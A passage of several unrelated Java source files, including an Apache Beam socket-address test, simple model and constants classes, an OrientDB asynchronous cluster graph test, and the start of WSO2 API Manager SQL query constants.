* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.beam.sdk.fn.channel;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertThat;
import io.netty.channel.unix.DomainSocketAddress;
import java.io.File;
import java.net.InetSocketAddress;
import java.net.SocketAddress;
import org.hamcrest.Matchers;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
/** Tests for {@link SocketAddressFactory}. */
@RunWith(JUnit4.class)
public class SocketAddressFactoryTest {
@Rule public TemporaryFolder tmpFolder = new TemporaryFolder();
@Test
public void testHostPortSocket() {
SocketAddress socketAddress = SocketAddressFactory.createFrom("localhost:123");
assertThat(socketAddress, Matchers.instanceOf(InetSocketAddress.class));
assertEquals("localhost", ((InetSocketAddress) socketAddress).getHostString());
assertEquals(123, ((InetSocketAddress) socketAddress).getPort());
}
@Test
public void testDomainSocket() throws Exception {
File tmpFile = tmpFolder.newFile();
SocketAddress socketAddress = SocketAddressFactory.createFrom(
"unix://" + tmpFile.getAbsolutePath());
assertThat(socketAddress, Matchers.instanceOf(DomainSocketAddress.class));
assertEquals(tmpFile.getAbsolutePath(), ((DomainSocketAddress) socketAddress).path());
}
}
|
package life.genny.qwandautils;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import io.quarkus.runtime.annotations.RegisterForReflection;
@RegisterForReflection
public class RawStringMessage implements Serializable{
/**
*
*/
private static final long serialVersionUID = 1L;
private String[] items = new String[0];
private Long total = 0L;
/**
* @param items
* @param total
*/
public RawStringMessage() {
}
/**
* @param items
* @param total
*/
public RawStringMessage(List<? extends String> items, Long total) {
if ((items == null) || (items.isEmpty())) {
items = new ArrayList<String>();
}
this.items = items.toArray(new String[0]);
this.total = total;
}
/**
* @param items
* @param total
*/
public RawStringMessage(List<? extends String> items) {
if ((items == null) || (items.isEmpty())) {
items = new ArrayList<String>();
}
this.items = items.toArray(new String[0]);
this.total = (long)items.size();
}
/**
* @return the items
*/
public String[] getItems() {
return items;
}
/**
* @param items the items to set
*/
public void setItems(String[] items) {
this.items = items;
}
/**
* @return the total
*/
public Long getTotal() {
return total;
}
/**
* @param total the total to set
*/
public void setTotal(Long total) {
this.total = total;
}
}
|
package com.bloomtree.employee.model;
public class TestUser {
private long id;
private String username;
private String address;
private String email;
public TestUser(){
id=0;
}
public TestUser(long id, String username, String address, String email){
this.id = id;
this.username = username;
this.address = address;
this.email = email;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + (int) (id ^ (id >>> 32));
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (!(obj instanceof TestUser))
return false;
TestUser other = (TestUser) obj;
if (id != other.id)
return false;
return true;
}
@Override
public String toString() {
return "TestUser [id=" + id + ", username=" + username + ", address=" + address
+ ", email=" + email + "]";
}
}
|
/**
* Copyright (c) 2016-2019 人人开源 All rights reserved.
*
* https://www.renren.io
*
* 版权所有,侵权必究!
*/
package com.langke.common.utils;
/**
* 常量
*
* @author Mark sunlightcs@gmail.com
*/
public class Constant {
/** 超级管理员ID */
public static final int SUPER_ADMIN = 1;
/**
* 当前页码
*/
public static final String PAGE = "page";
/**
* 每页显示记录数
*/
public static final String LIMIT = "limit";
/**
* 排序字段
*/
public static final String ORDER_FIELD = "sidx";
/**
* 排序方式
*/
public static final String ORDER = "order";
/**
* 升序
*/
public static final String ASC = "asc";
/**
* 菜单类型
*
* @author chenshun
* @email sunlightcs@gmail.com
* @date 2016年11月15日 下午1:24:29
*/
public enum MenuType {
/**
* 目录
*/
CATALOG(0),
/**
* 菜单
*/
MENU(1),
/**
* 按钮
*/
BUTTON(2);
private int value;
MenuType(int value) {
this.value = value;
}
public int getValue() {
return value;
}
}
/**
* 定时任务状态
*
* @author chenshun
* @email sunlightcs@gmail.com
* @date 2016年12月3日 上午12:07:22
*/
public enum ScheduleStatus {
/**
* 正常
*/
NORMAL(0),
/**
* 暂停
*/
PAUSE(1);
private int value;
ScheduleStatus(int value) {
this.value = value;
}
public int getValue() {
return value;
}
}
/**
* 云服务商
*/
public enum CloudService {
/**
* 七牛云
*/
QINIU(1),
/**
* 阿里云
*/
ALIYUN(2),
/**
* 腾讯云
*/
QCLOUD(3);
private int value;
CloudService(int value) {
this.value = value;
}
public int getValue() {
return value;
}
}
}
|
/*
*
* * Copyright 2010-2016 OrientDB LTD (http://orientdb.com)
* *
* * Licensed under the Apache License, Version 2.0 (the "License");
* * you may not use this file except in compliance with the License.
* * You may obtain a copy of the License at
* *
* * http://www.apache.org/licenses/LICENSE-2.0
* *
* * Unless required by applicable law or agreed to in writing, software
* * distributed under the License is distributed on an "AS IS" BASIS,
* * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* * See the License for the specific language governing permissions and
* * limitations under the License.
* *
* * For more information: http://orientdb.com
*
*/
package com.orientechnologies.orient.server.distributed.asynch;
import com.orientechnologies.common.concur.ONeedRetryException;
import com.orientechnologies.orient.core.db.ODatabaseType;
import com.orientechnologies.orient.core.db.OrientDB;
import com.orientechnologies.orient.core.db.document.ODatabaseDocument;
import com.orientechnologies.orient.core.record.ODirection;
import com.orientechnologies.orient.core.record.OEdge;
import com.orientechnologies.orient.core.record.OElement;
import com.orientechnologies.orient.core.record.OVertex;
import com.orientechnologies.orient.core.replication.OAsyncReplicationError;
import com.orientechnologies.orient.core.sql.OCommandSQL;
import com.orientechnologies.orient.server.distributed.AbstractServerClusterTest;
import com.orientechnologies.orient.server.distributed.ServerRun;
import junit.framework.Assert;
import org.junit.Test;
/** Check vertex and edge creation are propagated across all the nodes in asynchronous mode. */
public class ServerClusterAsyncGraphIT extends AbstractServerClusterTest {
static final int SERVERS = 2;
private OVertex v1;
private OVertex v2;
private OVertex v3;
public String getDatabaseName() {
return "distributed-graphtest";
}
@Test
public void test() throws Exception {
init(SERVERS);
prepare(false);
execute();
}
@Override
protected String getDistributedServerConfiguration(final ServerRun server) {
return "asynch-dserver-config-" + server.getServerId() + ".xml";
}
@Override
protected void executeTest() throws Exception {
{
OrientDB orientdb = serverInstance.get(0).getServerInstance().getContext();
orientdb.createIfNotExists(getDatabaseName(), ODatabaseType.PLOCAL);
ODatabaseDocument g = orientdb.open(getDatabaseName(), "admin", "admin");
try {
g.createClass("Post", "V");
g.createClass("User", "V");
g.createClass("Own", "E");
g.newVertex("User").save();
g.command(new OCommandSQL("insert into Post (content, timestamp) values('test', 1)"))
.execute();
} finally {
g.close();
}
}
// CHECK VERTEX CREATION ON ALL THE SERVERS
for (int s = 0; s < SERVERS; ++s) {
OrientDB orientdb = serverInstance.get(s).getServerInstance().getContext();
orientdb.createIfNotExists(getDatabaseName(), ODatabaseType.PLOCAL);
ODatabaseDocument g2 = orientdb.open(getDatabaseName(), "admin", "admin");
try {
Iterable<OElement> result = g2.command(new OCommandSQL("select from Post")).execute();
Assert.assertTrue(result.iterator().hasNext());
Assert.assertNotNull(result.iterator().next());
} finally {
g2.close();
}
}
{
OrientDB orientdb = serverInstance.get(0).getServerInstance().getContext();
orientdb.createIfNotExists(getDatabaseName(), ODatabaseType.PLOCAL);
ODatabaseDocument g = orientdb.open(getDatabaseName(), "admin", "admin");
try {
g.command(
new OCommandSQL("create edge Own from (select from User) to (select from Post)")
.onAsyncReplicationError(
new OAsyncReplicationError() {
@Override
public ACTION onAsyncReplicationError(Throwable iException, int iRetry) {
return iException instanceof ONeedRetryException && iRetry <= 3
? ACTION.RETRY
: ACTION.IGNORE;
}
}))
.execute();
} finally {
g.close();
}
}
Thread.sleep(1000);
// CHECK VERTEX CREATION ON ALL THE SERVERS
for (int s = 0; s < SERVERS; ++s) {
OrientDB orientdb = serverInstance.get(s).getServerInstance().getContext();
orientdb.createIfNotExists(getDatabaseName(), ODatabaseType.PLOCAL);
ODatabaseDocument g2 = orientdb.open(getDatabaseName(), "admin", "admin");
try {
Iterable<OVertex> result = g2.command(new OCommandSQL("select from Own")).execute();
Assert.assertTrue(result.iterator().hasNext());
Assert.assertNotNull(result.iterator().next());
result = g2.command(new OCommandSQL("select from Post")).execute();
Assert.assertTrue(result.iterator().hasNext());
final OElement v = result.iterator().next();
Assert.assertNotNull(v);
final Iterable<OEdge> inEdges = v.asVertex().get().getEdges(ODirection.IN);
Assert.assertTrue(inEdges.iterator().hasNext());
Assert.assertNotNull(inEdges.iterator().next());
result = g2.command(new OCommandSQL("select from User")).execute();
Assert.assertTrue(result.iterator().hasNext());
final OElement v2 = result.iterator().next();
Assert.assertNotNull(v2);
final Iterable<OEdge> outEdges = v2.asVertex().get().getEdges(ODirection.OUT);
Assert.assertTrue(outEdges.iterator().hasNext());
Assert.assertNotNull(outEdges.iterator().next());
} finally {
g2.close();
}
}
}
}
|
/*
* Copyright (c) 2016, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
*
* WSO2 Inc. licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file except
* in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.wso2.carbon.apimgt.impl.dao.constants;
import org.wso2.carbon.apimgt.api.model.policy.PolicyConstants;
import org.wso2.carbon.apimgt.impl.APIConstants;
public class SQLConstants {
public static final String GET_API_FOR_CONTEXT_TEMPLATE_SQL =
" SELECT " +
" API.API_NAME," +
" API.API_PROVIDER" +
" FROM " +
" AM_API API" +
" WHERE " +
" API.CONTEXT_TEMPLATE = ? ";
public static final String GET_VERSIONS_MATCHES_API_NAME_SQL=
"SELECT API_VERSION FROM AM_API WHERE API_NAME = ? AND API_PROVIDER = ?";
public static final String GET_USER_ID_FROM_CONSUMER_KEY_SQL =
" SELECT " +
" SUBS.USER_ID " +
" FROM " +
" AM_SUBSCRIBER SUBS, " +
" AM_APPLICATION APP, " +
" AM_APPLICATION_KEY_MAPPING MAP " +
" WHERE " +
" APP.SUBSCRIBER_ID = SUBS.SUBSCRIBER_ID " +
" AND MAP.APPLICATION_ID = APP.APPLICATION_ID " +
" AND MAP.CONSUMER_KEY = ? ";
public static final String GET_APPLICATION_REGISTRATION_SQL =
" SELECT REG_ID FROM AM_APPLICATION_REGISTRATION WHERE SUBSCRIBER_ID = ? AND APP_ID = ? AND TOKEN_TYPE = " +
"? AND KEY_MANAGER = ?";
public static final String ADD_APPLICATION_REGISTRATION_SQL =
" INSERT INTO " +
" AM_APPLICATION_REGISTRATION (SUBSCRIBER_ID,WF_REF,APP_ID,TOKEN_TYPE,ALLOWED_DOMAINS," +
"VALIDITY_PERIOD,TOKEN_SCOPE,INPUTS,KEY_MANAGER) " +
" VALUES(?,?,?,?,?,?,?,?,?)";
public static final String ADD_APPLICATION_KEY_MAPPING_SQL =
" INSERT INTO " +
" AM_APPLICATION_KEY_MAPPING (APPLICATION_ID,KEY_TYPE,STATE,KEY_MANAGER,UUID) " +
" VALUES(?,?,?,?,?)";
public static final String GET_OAUTH_APPLICATION_SQL =
" SELECT CONSUMER_SECRET, USERNAME, TENANT_ID, APP_NAME, APP_NAME, CALLBACK_URL, GRANT_TYPES " +
" FROM IDN_OAUTH_CONSUMER_APPS " +
" WHERE CONSUMER_KEY = ?";
public static final String GET_OWNER_FOR_CONSUMER_APP_SQL =
" SELECT USERNAME, USER_DOMAIN, TENANT_ID " +
" FROM IDN_OAUTH_CONSUMER_APPS " +
" WHERE CONSUMER_KEY = ?";
public static final String GET_SUBSCRIBED_APIS_OF_USER_SQL =
" SELECT " +
" API.API_PROVIDER AS API_PROVIDER," +
" API.API_NAME AS API_NAME," +
" API.CONTEXT AS API_CONTEXT, " +
" API.API_VERSION AS API_VERSION, " +
" SP.TIER_ID AS SP_TIER_ID " +
" FROM " +
" AM_SUBSCRIPTION SP, " +
" AM_API API," +
" AM_SUBSCRIBER SB, " +
" AM_APPLICATION APP " +
" WHERE " +
" SB.USER_ID = ? " +
" AND SB.TENANT_ID = ? " +
" AND SB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SP.APPLICATION_ID " +
" AND API.API_ID = SP.API_ID" +
" AND SP.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIBED_APIS_OF_USER_CASE_INSENSITIVE_SQL =
" SELECT " +
" API.API_PROVIDER AS API_PROVIDER," +
" API.API_NAME AS API_NAME," +
" API.CONTEXT AS API_CONTEXT," +
" API.API_VERSION AS API_VERSION, " +
" SP.TIER_ID AS SP_TIER_ID " +
" FROM " +
" AM_SUBSCRIPTION SP, " +
" AM_API API," +
" AM_SUBSCRIBER SB, " +
" AM_APPLICATION APP " +
" WHERE " +
" LOWER(SB.USER_ID) = LOWER(?) " +
" AND SB.TENANT_ID = ? " +
" AND SB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SP.APPLICATION_ID " +
" AND API.API_ID = SP.API_ID" +
" AND SP.SUBS_CREATE_STATE = '" +APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIBED_API_IDs_BY_APP_ID_SQL =
" SELECT " +
" API.API_ID " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUBS, " +
" AM_API API " +
" WHERE " +
" SUB.TENANT_ID = ? " +
" AND SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SUBS.APPLICATION_ID " +
" AND API.API_ID=SUBS.API_ID" +
" AND APP.APPLICATION_ID= ? " +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_INCLUDED_APIS_IN_PRODUCT_SQL =
"SELECT "
+ "DISTINCT API_ID "
+ "FROM AM_API_URL_MAPPING "
+ "WHERE URL_MAPPING_ID IN "
+ "(SELECT URL_MAPPING_ID FROM AM_API_PRODUCT_MAPPING WHERE API_ID = ?)";
public static final String GET_SUBSCRIBED_APIS_OF_USER_BY_APP_SQL =
" SELECT " +
" API.API_PROVIDER AS API_PROVIDER," +
" API.API_NAME AS API_NAME," +
" API.CONTEXT AS API_CONTEXT, " +
" API.API_VERSION AS API_VERSION, " +
" SP.TIER_ID AS SP_TIER_ID " +
" FROM " +
" AM_SUBSCRIPTION SP, " +
" AM_API API," +
" AM_SUBSCRIBER SB, " +
" AM_APPLICATION APP " +
" WHERE " +
" SB.TENANT_ID = ? " +
" AND SB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SP.APPLICATION_ID " +
" AND API.API_ID = SP.API_ID" +
" AND (SP.SUB_STATUS = '" + APIConstants.SubscriptionStatus.UNBLOCKED +
"' OR SP.SUB_STATUS = '" + APIConstants.SubscriptionStatus.TIER_UPDATE_PENDING +
"' OR SP.SUB_STATUS = '" + APIConstants.SubscriptionStatus.PROD_ONLY_BLOCKED + "')" +
" AND SP.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'" +
" AND APP.APPLICATION_ID = ?";
public static final String GET_SUBSCRIBED_APIS_OF_USER_BY_APP_CASE_INSENSITIVE_SQL =
" SELECT " +
" API.API_PROVIDER AS API_PROVIDER," +
" API.API_NAME AS API_NAME," +
" API.CONTEXT AS API_CONTEXT," +
" API.API_VERSION AS API_VERSION, " +
" SP.TIER_ID AS SP_TIER_ID " +
" FROM " +
" AM_SUBSCRIPTION SP, " +
" AM_API API," +
" AM_SUBSCRIBER SB, " +
" AM_APPLICATION APP " +
" WHERE " +
" SB.TENANT_ID = ? " +
" AND SB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SP.APPLICATION_ID " +
" AND API.API_ID = SP.API_ID" +
" AND (SP.SUB_STATUS = '" + APIConstants.SubscriptionStatus.UNBLOCKED +
"' OR SP.SUB_STATUS = '" + APIConstants.SubscriptionStatus.TIER_UPDATE_PENDING +
"' OR SP.SUB_STATUS = '" + APIConstants.SubscriptionStatus.PROD_ONLY_BLOCKED + "')" +
" AND SP.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'" +
" AND APP.APPLICATION_ID = ?";
public static final String GET_SUBSCRIBED_USERS_FOR_API_SQL =
" SELECT " +
" SB.USER_ID, " +
" SB.TENANT_ID " +
" FROM " +
" AM_SUBSCRIBER SB, " +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SP, " +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER = ? " +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND SP.APPLICATION_ID = APP.APPLICATION_ID " +
" AND APP.SUBSCRIBER_ID=SB.SUBSCRIBER_ID " +
" AND API.API_ID = SP.API_ID" +
" AND SP.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String CHANGE_ACCESS_TOKEN_STATUS_PREFIX = "UPDATE ";
public static final String CHANGE_ACCESS_TOKEN_STATUS_DEFAULT_SUFFIX =
" IAT , AM_SUBSCRIBER SB," +
" AM_SUBSCRIPTION SP , AM_APPLICATION APP," +
" AM_API API" +
" SET " +
" IAT.TOKEN_STATE=? " +
" WHERE " +
" SB.USER_ID=?" +
" AND SB.TENANT_ID=?" +
" AND API.API_PROVIDER=?" +
" AND API.API_NAME=?" +
" AND API.API_VERSION=?" +
" AND SP.ACCESS_TOKEN=IAT.ACCESS_TOKEN" +
" AND SB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID" +
" AND APP.APPLICATION_ID = SP.APPLICATION_ID" +
" AND API.API_ID = SP.API_ID";
public static final String CHANGE_ACCESS_TOKEN_STATUS_CASE_INSENSITIVE_SUFFIX =
" IAT , AM_SUBSCRIBER SB," +
" AM_SUBSCRIPTION SP , " +
" AM_APPLICATION APP, AM_API API " +
" SET" +
" IAT.TOKEN_STATE=? " +
" WHERE " +
" LOWER(SB.USER_ID)=LOWER(?)" +
" AND SB.TENANT_ID=?" +
" AND API.API_PROVIDER=?" +
" AND API.API_NAME=?" +
" AND API.API_VERSION=?" +
" AND SP.ACCESS_TOKEN=IAT.ACCESS_TOKEN" +
" AND SB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID" +
" AND APP.APPLICATION_ID = SP.APPLICATION_ID" +
" AND API.API_ID = SP.API_ID";
public static final String VALIDATE_KEY_SQL_PREFIX =
" SELECT " +
" IAT.VALIDITY_PERIOD, " +
" IAT.TIME_CREATED ," +
" IAT.TOKEN_STATE," +
" IAT.USER_TYPE," +
" IAT.AUTHZ_USER," +
" IAT.USER_DOMAIN," +
" IAT.TIME_CREATED," +
" ISAT.TOKEN_SCOPE," +
" SUB.TIER_ID," +
" SUBS.USER_ID," +
" SUB.SUB_STATUS," +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.APPLICATION_TIER," +
" AKM.KEY_TYPE," +
" API.API_NAME," +
" AKM.CONSUMER_KEY," +
" API.API_PROVIDER" +
" FROM ";
public static final String VALIDATE_SUBSCRIPTION_KEY_DEFAULT_SQL =
" SELECT " +
" SUB.TIER_ID," +
" SUBS.USER_ID," +
" SUB.SUB_STATUS," +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.APPLICATION_TIER," +
" APP.TOKEN_TYPE," +
" AKM.KEY_TYPE," +
" API.API_NAME," +
" API.API_PROVIDER " +
" FROM " +
" AM_SUBSCRIPTION SUB," +
" AM_SUBSCRIBER SUBS," +
" AM_APPLICATION APP," +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_API API " +
" WHERE " +
" API.CONTEXT = ? " +
" AND AKM.CONSUMER_KEY = ? " +
" AND AKM.KEY_MANAGER = ? " +
" AND SUB.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.SUBSCRIBER_ID = SUBS.SUBSCRIBER_ID" +
" AND API.API_ID = SUB.API_ID" +
" AND AKM.APPLICATION_ID=APP.APPLICATION_ID";
public static final String VALIDATE_SUBSCRIPTION_KEY_VERSION_SQL =
" SELECT " +
" SUB.TIER_ID," +
" SUBS.USER_ID," +
" SUB.SUB_STATUS," +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.APPLICATION_TIER," +
" APP.TOKEN_TYPE," +
" AKM.KEY_TYPE," +
" API.API_NAME," +
" API.API_PROVIDER" +
" FROM " +
" AM_SUBSCRIPTION SUB," +
" AM_SUBSCRIBER SUBS," +
" AM_APPLICATION APP," +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_API API" +
" WHERE " +
" API.CONTEXT = ? " +
" AND AKM.CONSUMER_KEY = ? " +
" AND AKM.KEY_MANAGER = ? " +
" AND API.API_VERSION = ? " +
" AND SUB.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.SUBSCRIBER_ID = SUBS.SUBSCRIBER_ID" +
" AND API.API_ID = SUB.API_ID" +
" AND AKM.APPLICATION_ID=APP.APPLICATION_ID";
public static final String ADVANCED_VALIDATE_SUBSCRIPTION_KEY_DEFAULT_SQL =
" SELECT " +
" SUB.TIER_ID," +
" SUBS.USER_ID," +
" SUB.SUB_STATUS," +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.APPLICATION_TIER," +
" APP.TOKEN_TYPE," +
" AKM.KEY_TYPE," +
" API.API_NAME," +
" API.API_TIER," +
" API.API_PROVIDER," +
" APS.RATE_LIMIT_COUNT," +
" APS.RATE_LIMIT_TIME_UNIT," +
" APS.STOP_ON_QUOTA_REACH," +
" API.API_ID," +
" APS.MAX_DEPTH,"+
" APS.MAX_COMPLEXITY" +
" FROM " +
" AM_SUBSCRIPTION SUB," +
" AM_SUBSCRIBER SUBS," +
" AM_APPLICATION APP," +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_API API," +
" AM_POLICY_SUBSCRIPTION APS" +
" WHERE " +
" API.CONTEXT = ? " +
" AND AKM.CONSUMER_KEY = ? " +
" AND AKM.KEY_MANAGER = ? " +
" AND SUB.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.SUBSCRIBER_ID = SUBS.SUBSCRIBER_ID" +
" AND API.API_ID = SUB.API_ID" +
" AND AKM.APPLICATION_ID=APP.APPLICATION_ID" +
" AND APS.NAME = SUB.TIER_ID" +
" AND APS.TENANT_ID = ? ";
public static final String ADVANCED_VALIDATE_SUBSCRIPTION_KEY_VERSION_SQL =
" SELECT " +
" SUB.TIER_ID," +
" SUBS.USER_ID," +
" SUB.SUB_STATUS," +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.APPLICATION_TIER," +
" APP.TOKEN_TYPE," +
" AKM.KEY_TYPE," +
" API.API_NAME," +
" API.API_TIER," +
" API.API_PROVIDER," +
" APS.RATE_LIMIT_COUNT," +
" APS.RATE_LIMIT_TIME_UNIT," +
" APS.STOP_ON_QUOTA_REACH," +
" API.API_ID," +
" APS.MAX_DEPTH,"+
" APS.MAX_COMPLEXITY" +
" FROM " +
" AM_SUBSCRIPTION SUB," +
" AM_SUBSCRIBER SUBS," +
" AM_APPLICATION APP," +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_API API," +
" AM_POLICY_SUBSCRIPTION APS" +
" WHERE " +
" API.CONTEXT = ? " +
" AND AKM.CONSUMER_KEY = ? " +
" AND AKM.KEY_MANAGER = ? " +
" AND APS.TENANT_ID = ? " +
" AND API.API_VERSION = ? " +
" AND SUB.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.SUBSCRIBER_ID = SUBS.SUBSCRIBER_ID" +
" AND API.API_ID = SUB.API_ID" +
" AND AKM.APPLICATION_ID=APP.APPLICATION_ID" +
" AND APS.NAME = SUB.TIER_ID";
public static final String ADD_SUBSCRIBER_SQL =
" INSERT" +
" INTO AM_SUBSCRIBER (USER_ID, TENANT_ID, EMAIL_ADDRESS, DATE_SUBSCRIBED, CREATED_BY, CREATED_TIME, " +
"UPDATED_TIME) " +
" VALUES (?,?,?,?,?,?,?)";
public static final String ADD_MONETIZATION_USAGE_PUBLISH_INFO =
" INSERT INTO AM_MONETIZATION_USAGE (ID, STATE, STATUS, STARTED_TIME, PUBLISHED_TIME) VALUES (?,?,?,?,?)";
public static final String UPDATE_MONETIZATION_USAGE_PUBLISH_INFO =
" UPDATE AM_MONETIZATION_USAGE SET STATE = ?, STATUS = ?, STARTED_TIME = ?, PUBLISHED_TIME = ?" +
" WHERE ID = ?";
public static final String GET_MONETIZATION_USAGE_PUBLISH_INFO =
" SELECT ID, STATE, STATUS, STARTED_TIME, PUBLISHED_TIME FROM AM_MONETIZATION_USAGE";
public static final String UPDATE_SUBSCRIBER_SQL =
" UPDATE AM_SUBSCRIBER " +
" SET" +
" USER_ID=?," +
" TENANT_ID=?," +
" EMAIL_ADDRESS=?," +
" DATE_SUBSCRIBED=?," +
" UPDATED_BY=?," +
" UPDATED_TIME=? " +
" WHERE" +
" SUBSCRIBER_ID=?";
public static final String GET_SUBSCRIBER_SQL =
" SELECT " +
" USER_ID, TENANT_ID, EMAIL_ADDRESS, DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER " +
" WHERE " +
" SUBSCRIBER_ID=?";
public static final String CHECK_EXISTING_SUBSCRIPTION_API_SQL =
" SELECT " +
" SUB_STATUS, SUBS_CREATE_STATE " +
" FROM " +
" AM_SUBSCRIPTION " +
" WHERE " +
" API_ID = ? " +
" AND APPLICATION_ID = ?";
public static final String RETRIEVE_SUBSCRIPTION_ID_SQL =
" SELECT " +
" SUBSCRIPTION_ID " +
" FROM " +
" AM_SUBSCRIPTION " +
" WHERE " +
" UUID = ? ";
public static final String ADD_SUBSCRIPTION_SQL =
" INSERT INTO " +
" AM_SUBSCRIPTION (TIER_ID,API_ID,APPLICATION_ID,SUB_STATUS,SUBS_CREATE_STATE,CREATED_BY,CREATED_TIME, " +
" UPDATED_TIME, UUID, TIER_ID_PENDING) " +
" VALUES (?,?,?,?,?,?,?,?,?,?)";
public static final String UPDATE_SINGLE_SUBSCRIPTION_SQL =
" UPDATE AM_SUBSCRIPTION " +
" SET TIER_ID_PENDING = ? " +
" , SUB_STATUS = ? " +
" WHERE UUID = ?";
public static final String GET_SUBSCRIPTION_UUID_SQL =
" SELECT UUID " +
" FROM AM_SUBSCRIPTION " +
" WHERE " +
" API_ID = ? " +
" AND APPLICATION_ID = ?";
public static final String GET_SUBSCRIBER_ID_BY_SUBSCRIPTION_UUID_SQL =
" SELECT APPS.SUBSCRIBER_ID AS SUBSCRIBER_ID " +
" FROM " +
" AM_APPLICATION APPS, " +
" AM_SUBSCRIPTION SUBS" +
" WHERE " +
" SUBS.APPLICATION_ID = APPS.APPLICATION_ID " +
" AND SUBS.UUID = ?";
public static final String GET_SUBSCRIPTION_STATUS_BY_UUID_SQL =
" SELECT SUB_STATUS " +
" FROM AM_SUBSCRIPTION " +
" WHERE UUID = ?";
public static final String UPDATE_SUBSCRIPTION_SQL =
" UPDATE AM_SUBSCRIPTION " +
" SET SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.UN_SUBSCRIBE + "' " +
" WHERE UUID = ?";
public static final String REMOVE_SUBSCRIPTION_SQL =
" DELETE FROM AM_SUBSCRIPTION WHERE UUID = ?";
public static final String REMOVE_SUBSCRIPTION_BY_ID_SQL =
" DELETE FROM AM_SUBSCRIPTION WHERE SUBSCRIPTION_ID = ?";
public static final String REMOVE_ALL_SUBSCRIPTIONS_SQL =
" DELETE FROM AM_SUBSCRIPTION WHERE API_ID = ?";
public static final String GET_SUBSCRIPTION_STATUS_BY_ID_SQL =
" SELECT SUB_STATUS FROM AM_SUBSCRIPTION WHERE SUBSCRIPTION_ID = ?";
public static final String GET_SUBSCRIPTION_BY_ID_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID AS SUBSCRIPTION_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" API.API_TYPE AS API_TYPE, " +
" SUBS.APPLICATION_ID AS APPLICATION_ID, " +
" SUBS.TIER_ID AS TIER_ID, " +
" SUBS.TIER_ID_PENDING AS TIER_ID_PENDING, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" SUBS.UUID AS UUID, " +
" API.API_ID AS API_ID " +
" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_API API " +
" WHERE " +
" API.API_ID = SUBS.API_ID " +
" AND SUBSCRIPTION_ID = ?";
public static final String GET_SUBSCRIPTION_BY_UUID_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID AS SUBSCRIPTION_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
